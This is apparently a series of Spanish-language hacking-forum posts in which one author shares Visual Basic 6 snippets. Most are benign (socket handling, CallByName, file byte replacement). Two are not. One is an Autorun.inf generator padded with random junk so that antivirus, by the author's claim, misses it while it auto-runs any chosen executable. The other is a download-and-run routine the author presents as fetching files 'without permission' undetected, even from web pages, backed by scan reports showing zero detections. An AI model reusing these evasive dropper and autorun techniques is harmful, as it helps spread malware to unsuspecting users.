Bueno hace mucho que me la sabia como hacer un Autorun.Inf FUD solo que como ya abandono las malas practicas empesare a liberar algunos codigos sencillos pero utiles para algunos:

Este es un codigo para generar un archivo Autorun.inf 100% FUD indetectable ante AVIRA Norton, ... bueno ante cualquier AV... hasta la fecha sigue intacto xP.

 
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////
 
option explicit
 
Public Function GenerarAutorun(StrPath As String, StrExeNameExt As String) As Long
Dim Var(6)                                      As String
Dim DataWrite                                   As String
Dim i                                           As Integer
Dim RN                                          As Integer
Dim nMin                                        As Long
Dim nMax                                        As Long
Dim Sep                                         As String
Dim Char1                                       As String * 1
Dim Char2                                       As String * 1
    Var(0) = "[Autorun]"
    Var(1) = "Open = " & StrExeNameExt
    Var(2) = "UseAutoPlay = 1"
    Var(3) = "action = @" & StrExeNameExt
    Var(4) = "shell\open\Command = " & StrExeNameExt
    Var(5) = "shell\open\Default = 1"
    Var(6) = "shell\explore\Command = " & StrExeNameExt
    If Dir(StrPath, vbDirectory) <> "" Then
        Call NormalizePath(StrPath)
        StrPath = StrPath & "autorun.inf"
        Open StrPath For Binary As 1
            For i = 0 To 6
                DataWrite = vbCrLf & Var(i)
                nMin = NumeroAleatorio(100, 1000)
                nMax = nMin + NumeroAleatorio(100, 1000)
                For RN = 0 To NumeroAleatorio(nMin, nMax)
                    Char1 = Chr(NumeroAleatorio(50, 255))
                    Char2 = Chr(NumeroAleatorio(50, 255))
                    Sep = Chr$(NumeroAleatorio(1, 255))
                    While Sep = Char1 Or Sep = Char2: DoEvents
                        Sep = Chr$(NumeroAleatorio(1, 255))
                    Wend
                    DataWrite = DataWrite & vbCrLf & ";" & TextoAleatorio(Char1 & Sep & Char2, Sep, 1)
                Next RN
                Put 1, , DataWrite
            Next i
        Close 1
        GenerarAutorun = 1
    End If
ErrorFatal:
End Function
Private Sub NormalizePath(ByRef sData As String)
    sData = IIf(Right$(sData, 1) = "\", sData, sData & "\")
End Sub
Function TextoAleatorio(StrRango As String, Separador As String, Optional LENTEXTMIN As Long = 1, Optional LENTEXTMAX As Long = -1) As String
Dim spli()                                      As String
Dim i                                           As Double
    If InStr(StrRango, Separador) > 0 Then
        spli = Split(StrRango, Separador)
        LENTEXTMAX = LENTEXTMIN + Int(IIf(LENTEXTMAX = -1, NumeroAleatorio(1, 100), LENTEXTMAX))
        For i = LENTEXTMIN To LENTEXTMAX
            TextoAleatorio = TextoAleatorio & Chr(NumeroAleatorio(Asc(spli(0)), Asc(spli(1))))
        Next i
    End If
End Function
Public Function NumeroAleatorio(MinNum As Long, MaxNum As Long) As Long
Dim Tmp                                 As Long
    If MaxNum < MinNum Then: Tmp = MaxNum: MaxNum = MinNum: MinNum = Tmp
    Randomize: NumeroAleatorio = CLng((MinNum - MaxNum + 1) * Rnd + MaxNum)
End Function
 
 

la Llamada se realiza en alguna parte de su Codigo fuente de la siguiente manera:

 
Call GenerarAutorun("c:\", "Ejecuta.exe")
 
 

Donde C:\ es la RUTA donde se guardara el archivo Autorun.inf y donde Ejecuta.exe es el archivo en el mismo directorio a ejecutar con el metodo Autorun.Inf

ahora si se quiere ejecutar el exe de un subdirectorio con el respoecto a donde se encuentra el Autorun.inf actual solo hay que hacerlo de la siguiente forma:

 
Call GenerarAutorun("c:\", "Carpeta\SubCarpeta2\Ejecuta.exe")
 
 

Sangriento Infierno Lunar!¡.

Publico el tema en respuesta a aceptación de Conexiones Multi-Cliente ( http://foro.elhacker.net/programacion_vb/conexiones_multiples_con_winsock_ayuda-t288193.0.html ).

Es muy sencilla pero a mas de uno les va a servir de algo... es la misma funcion que ocupo para mis proyectos

Que hace?

.............Acepta conexiones en una matrix de Socket's en este caso en particular esta diseñado para cSocketMaster

Con que funciona?

.............cSocketMaster +ctl ( Control de usuario ) donde este seria el que crearia la matrix requerida!¡.

Ventajas?

.............Se ocupan los indices anteriores que se encuentren con algun error o que no esten conectados realmente, es decir reduce el uso de la memoria. Se deben la maxima matrix ya para mas velocidad aun que esto seria modificable dubclaseificando el indice con algun Modulo de clase... pero bueno xP.

Codigo:

 
'
'   /////////////////////////////////////////////////////////////
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo es requerido    //
'   // el agradacimiento al autor.                             //
'   /////////////////////////////////////////////////////////////
'
Option Explicit
Private Enum SockState
    sckClosed = 0
    sckOpen
    sckListening
    sckConnectionPending
    sckResolvingHost
    sckHostResolved
    sckConnecting
    sckConnected
    sckClosing
    sckError
End Enum
Public Function IndexSocketCerrado(ByRef Socket As Object) As Integer
Dim Index                   As Integer
Dim SockSt                  As SockState
    IndexSocketCerrado = -1
    For Index = Socket.lbound To Socket.UBound
        With Socket(Index)
            SockSt = .State
            If SockSt = sckClosed Or SockSt = sckListening Or SockSt = sckClosing Then
                'If SockSt = sckClosed Or SockSt = sckListening Or SockSt = sckClosing Or SockSt = sckError Then    '   //  Optativo
                IndexSocketCerrado = Index
                Exit For
            End If
        End With
    Next
End Function
 
Public Function AceptarConexion(ByRef Socket As Object, requestid As Long) As Boolean
Dim SocketIndex             As Integer
    SocketIndex = IndexSocketCerrado(Socket)
    If SocketIndex = -1 Then
        SocketIndex = Socket.UBound + 1
        Load Socket(SocketIndex)
    End If
    Socket(SocketIndex).CloseSck
    Socket(SocketIndex).Accept requestid
End Function
 
 

la llamada:

 
'   //  ---->
'   //  Donde Socket_In es el socket que aceptara la conexion entrante en el Socket_Conexion
'   //  Cabe destacar que Socket_In debera ser una matrix de controles
'   //  ---->
Private Sub Socket_Conexion_ConnectionRequest(Index As Integer, ByVal requestid As Long)
        Call AceptarConexion(Socket_In, requestid)
End Sub
 
 

Descargar cSocketMaster + Ctl (Para manejarlo igual que el winsock de M$)


Nota: Si se desea usar este codigo para el WinSock de la Ocx de M$ debera editar las las propiedades de CloseSck a Close

Sangriento Infierno Lunar!¡.

Este codigo que les dejo me arreglo una duda que tenia la cual me la respondio Google a una liga interesante ( Almenos para mi xP )

intentaba hacer algo similar a esto:

 
Private Sub Form_Load()
Dim Args()          As Variant
    ReDim Args(0 To 1)
    Args(0) = "hola Mundo"
    Args(1) = "12"
    CallByName Me, "Mensaje", VbMethod, Args()
End Sub
 
 Public Sub mensaje(mensaje As String, Optional hola As Long)
    MsgBox mensaje, vbOKOnly, hola
 End Sub
 
 

pero no daba y google me respodio:

http://www.devx.com/tips/Tip/15422

 
' Required for use in VB5!
Public Enum VbCallType
	VbMethod = 1
	VbGet = 2
	VbLet = 4
	VbSet = 8
End Enum
 
Public Function CallByNameEx(Obj As Object, _
	ProcName As String, CallType As VbCallType, _
	Optional vArgsArray As Variant)
	Dim oTLI As Object
	Dim ProcID As Long
	Dim numArgs As Long
	Dim i As Long
	Dim v()
 
	On Error GoTo Handler
 
	Set oTLI = CreateObject("TLI.TLIApplication")
	ProcID = oTLI.InvokeID(Obj, ProcName)
 
	If IsMissing(vArgsArray) Then
		CallByNameEx = oTLI.InvokeHook( _
			Obj, ProcID, CallType)
	End If
 
	If IsArray(vArgsArray) Then
		numArgs = UBound(vArgsArray)
		ReDim v(numArgs)
		For i = 0 To numArgs
			v(i) = vArgsArray(numArgs - i)
		Next i
		CallByNameEx = oTLI.InvokeHookArray( _
			Obj, ProcID, CallType, v)
	End If
Exit Function
 
Handler:
	Debug.Print Err.Number, Err.Description
End Function
 
 

con lo cual ahora el CallByName bueno mejor dicho CallByNameEx acepta ahora expresiones de este tipo:

 
Call CallByNameEx(Me, "xx", VbMethod, x) 
Call CallByNameEx(Me, "xx", VbMethod, Array(1, 2))  
Result=CallByNameEx(Me, "xx", VbMethod, x) 
 
 

siendo que antes array() o pasandole un vector a CallByName No servia

 
Private Sub Form_Load()
Dim Args()          As Variant
    ReDim Args(0 To 1)
    Args(0) = "hola Mundo"
    Args(1) = "12"
    CallByNameEx Me, "Mensaje", VbMethod, Args()
End Sub
 
 Public Sub mensaje(mensaje As String, Optional hola As Long)
    MsgBox mensaje, vbOKOnly, hola
 End Sub
 
 

Sangrienta Luna Infernal!¡.

Estaba con Drinky ayudando le a crear esto pero se fue y tuve que armarlo solo aquí se los dejo a los curiosos

Este código sirve para modificar el Score del Pinball de Windows.



Por si no lo tienen:


Compilado...
http://infrangelux.sytes.net/FTP/BlackZeroX/Programacion/vb6/Proyectos/Pinball/Edit%20Score.exe

Codigo Fuente...
http://infrangelux.sytes.net/FTP/BlackZeroX/Programacion/vb6/Proyectos/Pinball/Edit%20Score%20Src.rar

Sangrientas Lunas!¡.

.
Bueno ahorita no tengo nada que hacer e hice esto...

 
'
'   /////////////////////////////////////////////////////////////
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo                 //
'   /////////////////////////////////////////////////////////////
 
Option Explicit
 
Public Function IsJolly(ByVal StrNum As String, Optional PosOfCrash As Long) As Boolean
On Error GoTo Terminar
Dim lenNum          As Long
Dim index           As Long
Dim Desendente      As Byte
Dim Spli(1)         As Byte
Dim ValTmp(1)       As Byte
Dim Resultados()    As Byte
 
    lenNum = Len(StrNum)
    For index = 1 To lenNum - 1
        ValTmp(0) = CByte(Mid(StrNum, index, 1))
        ValTmp(1) = CByte(Mid(StrNum, index + 1, 1))
        Call IntercVal(ValTmp(1), ValTmp(0))
        Spli(0) = ValTmp(0) - ValTmp(1)
        ValTmp(0) = Spli(1)
        ValTmp(1) = Spli(0)
        Call IntercVal(ValTmp(1), ValTmp(0))
        Debug.Print Spli(0)
        If index > 1 Then
            IsJolly = Not ValTmp(0) - ValTmp(1) > 1
            If IsJolly Then
                If (ValTmp(0) - ValTmp(1) + 1) = 0 Then
                    If Desendente = 0 Then
                        Desendente = 1
                    Else
                        IsJolly = ((ValTmp(0) > ValTmp(1)) And Desendente = 1)
                        If Not IsJolly Then Exit For
                    End If
                ElseIf (ValTmp(0) - ValTmp(1) - 1) = 0 Then
                    If Desendente = 0 Then
                        Desendente = 2
                    Else
                        IsJolly = ((ValTmp(0) < ValTmp(1) Or (ValTmp(0) - 1) = ValTmp(1)) And Desendente = 2)
                        If Not IsJolly Then Exit For
                    End If
                End If
            Else
                PosOfCrash = index
                Exit For
            End If
        End If
        Spli(1) = Spli(0)
    Next index
Exit Function
Terminar:
        IsJolly = False
End Function
Public Sub IntercVal(ByRef ValMenor As Byte, ByRef ValMayor As Byte)
Dim Tmp As Byte
    If Not ValMenor < ValMayor Then
        Tmp = ValMayor
        ValMayor = ValMenor
        ValMenor = Tmp
    End If
End Sub
 
 

Notas:

Este texto fue escrito por  DARK_J4V13R el 08/02/2010, 20:58   en foros PH... así de aburrido ando xP!¡.


Sangrientas Lunas!¡.

.
Tengo una pregunta y es como puedo actualizar información en el UserControl después de invocar un proceso de un modulo de clase, ando trabado en esto xP

en el user control tengo algo parecido a esto

 
Public ListItems                    As New ClsListItems
 
...
Otros Procesos
...
 
 

posteriormente en un form dibujo el control de usuario y le invoco

 
usercontrol.ListItems.add ...
 
 

Después de invocar esto como se podría actualizar en el UserControl, a si tal cual lo hace el ListView de microsoft?.

Nota: se que las variables no ejecutan procesos pero... ya me atore jajaja... lo peor quiero es que quiero organizar esto de buena forma, y poder manipular el UserControl de forma accesible... posiblemente con un hook ¬¬"

Sangrientas Lunas!¡.
.

.
Bueno un problema o no se bueno
los label tienen handle y si es así como saberlo?

Temibles Lunas!¡.
.

.
por que no esta demas poner esto:

 
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Explicit
public Function vbShell(StrPath As String, Optional hHiden As Boolean) As Boolean
Dim ret                     As Object
    Set ret = CreateObject("Shell.Application", "")
    vbShell = Not ret Is Nothing
    'If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
    If not vbShell Then exit function
    Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
End Function
 
 

Dulces Lunas!¡.

.
La función es sencilla y la cree por que la necesitaba aquí se las dejo, haber si a alguien le sirve de algo xP

 
'
' /////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )         //
' //                                                         //
' // Web: http://InfrAngeluX.Sytes.Net/                      //
' //                                                         //
' // |-> Pueden Distribuir Este Código siempre y cuando      //
' // no se eliminen los créditos originales de este código   //
' // No importando que sea modificado/editado o engrandecido //
' // o achicado, si es en base a este código                 //
' /////////////////////////////////////////////////////////////
 
Option Explicit
Public Function ReplaceFileBytes(ByVal StrFile As String, _
                                 ByVal PosIniByte As Long, _
                                 ByVal LenBytes As Long, _
                                 BufferReplace() As Byte) As Long
On Error GoTo ErrorFatal
Dim FF As Long
    If GetAttr(StrFile) = vbArchive Then
        FF = FreeFile
        Open StrFile For Binary As FF
            If PosIniByte <= LOF(FF) Then
                PosIniByte = IIf(PosIniByte <= 0, LOF(FF), PosIniByte)
                LenBytes = IIf(LenBytes <= 0, LOF(FF) - PosIniByte, LenBytes - 1)
                LenBytes = IIf(LOF(FF) <= (PosIniByte + LenBytes), LOF(FF) - PosIniByte, LenBytes)
                ReDim Preserve BufferReplace(LenBytes)
                Put FF, PosIniByte, BufferReplace
                ReplaceFileBytes = LenBytes + 1
            End If
        Close FF
    End If
ErrorFatal:
End Function
 
 

El código no permite reemplazar mas bytes de los existentes, por ello no engrandece el archivo binario, y por eso solo reemplaza los deseados.

Un ejemplo de su uso:

.
Ejemplo  de su Uso (Ver el proceso Sub Main() )

 
Function vbShell(StrPath As String, Optional hHiden As Boolean) As Long
Dim ret                     As Object
    Set ret = CreateObject("Shell.Application", "")
    If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
    'If Not ret Is Nothing Then
        Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
        vbShell = 1
    End If
End Function
 
Sub GenerateTestFile(StrFile As String)
    If GetAttr(StrFile) = vbArchive Then
        Kill StrFile
        Open StrFile For Binary As 1
            Put 1, 1, String$(20, "*")
        Close 1
    End If
End Sub
 
Sub main()
Const StrFile = "c:\ArchivoX.txt"
Const ComplMSGB = " Bytes Reemplzados"
Const msgb = "InfrAngeluX-Soft"
Dim buf()               As Byte
Dim ret                 As Long
 
 
    Call GenerateTestFile(StrFile)
    MsgBox vbShell(StrFile)
    buf = StrConv(msgb, vbFromUnicode)
    '   //  Para escribir en el ultimo bytes poner -1
    MsgBox ReplaceFileBytes(StrFile, -1, 0, buf) & ComplMSGB
    MsgBox vbShell(StrFile)
 
    Call GenerateTestFile(StrFile)
    buf = StrConv(msgb, vbFromUnicode)
    '   //  Para Escribir de X byte hasta el final del archivo
    '   //  poner -1 el resto se llena de espacios vacios
    MsgBox ReplaceFileBytes(StrFile, 1, -1, buf) & ComplMSGB
    MsgBox vbShell(StrFile)
 
    Call GenerateTestFile(StrFile)
    buf = StrConv(msgb, vbFromUnicode)
    '   //  Para escribir en un rango dado
    MsgBox ReplaceFileBytes(StrFile, 5, 50, buf) & ComplMSGB
    MsgBox vbShell(StrFile)
 
End Sub
 
 
 

Dulces Lunas!¡.

El código es pequeño pero logra que no salte ningún Antivirus cuando se descarga un archivo sin permiso.

Ademas declarando otro objecto esencial para html se puede explotar directamente en una pagina web... ya que estas también ejecutan vbScript

 
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Explicit
Function DescargarArchivo(strDowload As String, SaveOn As String) As Long
On Error GoTo 1:
Dim xml                     As Object
Dim adoStream               As Object
    Set xml = CreateObject("Microsoft.XMLHTTP")
    Set adoStream = CreateObject("Adodb.Stream")
    Call xml.Open("GET", strDowload, 0)
    Call xml.Send
    adoStream.Type = 1
    Call adoStream.Open
    Call adoStream.write(xml.responseBody)
    Call adoStream.SaveToFile(SaveOn, 2)
    Call adoStream.Close
    DescargarArchivo = 1
Exit Function
1:
End Function
 
 

Código del proyecto con el cual realice en el Scan.

 
Option Explicit
Sub main()
    If CBool(DescargarArchivo("http://www.goear.com/files/sst2/mp3files/15102006/cfebd49f1b5ba43867cc687896a32ecd.mp3", "c:\aaa.mp3")) Then
        Call vbShell("c:\aaa.mp3", False)
    End If
End Sub
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Function vbShell(StrPath As String, visible As Long) As Long
Dim ret                     As Object
    Set ret = CreateObject("Shell.Application", "")
    Call ret.ShellExecute(StrPath, "", "", "open", visible)
End Function
 
 

lo he probado en un proyecto pequeño miren.

Gracias The Swash por el scan aunq que yo ya lo habia realizado xP

File Info

Report generated: 12.1.2010 at 0.41.15 (GMT 1)
Filename: Project1.exe
File size: 20480 bytes
MD5 hash: d64d53fa4ec3bcafb9ff781303188fb7
SHA1 hash: 62157077EA4D3C17B1988D72F69F8C9502F0026E
Detection rate: 0 on 24
Status: CLEAN

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org


Virus total

Antivirus   Version   Last Update   Result
a-squared   4.5.0.48   2010.01.12   -
AhnLab-V3   5.0.0.2   2010.01.11   -
AntiVir   7.9.1.134   2010.01.11   -
Antiy-AVL   2.0.3.7   2010.01.11   -
Authentium   5.2.0.5   2010.01.12   -
Avast   4.8.1351.0   2010.01.11   -
AVG   9.0.0.725   2010.01.11   -
BitDefender   7.2   2010.01.12   -
CAT-QuickHeal   10.00   2010.01.11   -
ClamAV   0.94.1   2010.01.12   -
Comodo   3550   2010.01.11   -
DrWeb   5.0.1.12222   2010.01.12   -
eSafe   7.0.17.0   2010.01.11   -
eTrust-Vet   35.2.7231   2010.01.12   -
F-Prot   4.5.1.85   2010.01.12   -
F-Secure   9.0.15370.0   2010.01.12   -
Fortinet   4.0.14.0   2010.01.12   -
GData   19   2010.01.12   -
Ikarus   T3.1.1.80.0   2010.01.12   -
Jiangmin   13.0.900   2010.01.11   -
K7AntiVirus   7.10.944   2010.01.11   -
Kaspersky   7.0.0.125   2010.01.12   -
McAfee   5858   2010.01.11   -
McAfee+Artemis   5858   2010.01.11   -
McAfee-GW-Edition   6.8.5   2010.01.12   -
Microsoft   1.5302   2010.01.11   -
NOD32   4762   2010.01.11   -
Norman   6.04.03   2010.01.11   -
nProtect   2009.1.8.0   2010.01.11   -
Panda   10.0.2.2   2010.01.11   -
PCTools   7.0.3.5   2010.01.12   -
Prevx   3.0   2010.01.12   -
Rising   22.30.01.01   2010.01.12   -
Sophos   4.49.0   2010.01.12   -
Sunbelt   3.2.1858.2   2010.01.12   -
Symantec   20091.2.0.41   2010.01.12   -
TheHacker   6.5.0.3.147   2010.01.12   -
TrendMicro   9.120.0.1004   2010.01.11   -
VBA32   3.12.12.1   2010.01.12   -
ViRobot   2010.1.12.2131   2010.01.12   -
VirusBuster   5.0.21.0   2010.01.11   -

Dulces Lunas!¡.